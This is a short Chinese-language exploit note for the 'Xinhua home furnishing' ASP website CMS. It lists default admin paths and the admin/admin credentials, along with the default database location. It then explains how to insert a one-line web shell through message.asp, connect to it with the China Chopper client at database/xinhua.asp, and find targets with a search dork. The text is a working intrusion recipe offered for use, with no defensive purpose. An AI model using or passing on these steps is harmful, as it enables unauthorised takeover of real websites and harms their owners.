中国新华家居漏洞

中国新华家居源码，可用于电脑、机械、装修等等企业网站。

管理后台登陆地址/100 或者/manage/login.asp

默认登陆用户名admin 密码admin

默认数据库database/xinhua.asp

 
利用：

 
访问http://www.xx.com /message.asp 插入一句话。

菜刀连接http://www.xx.com /database/xinhua.asp

inurl:human.asp?id=12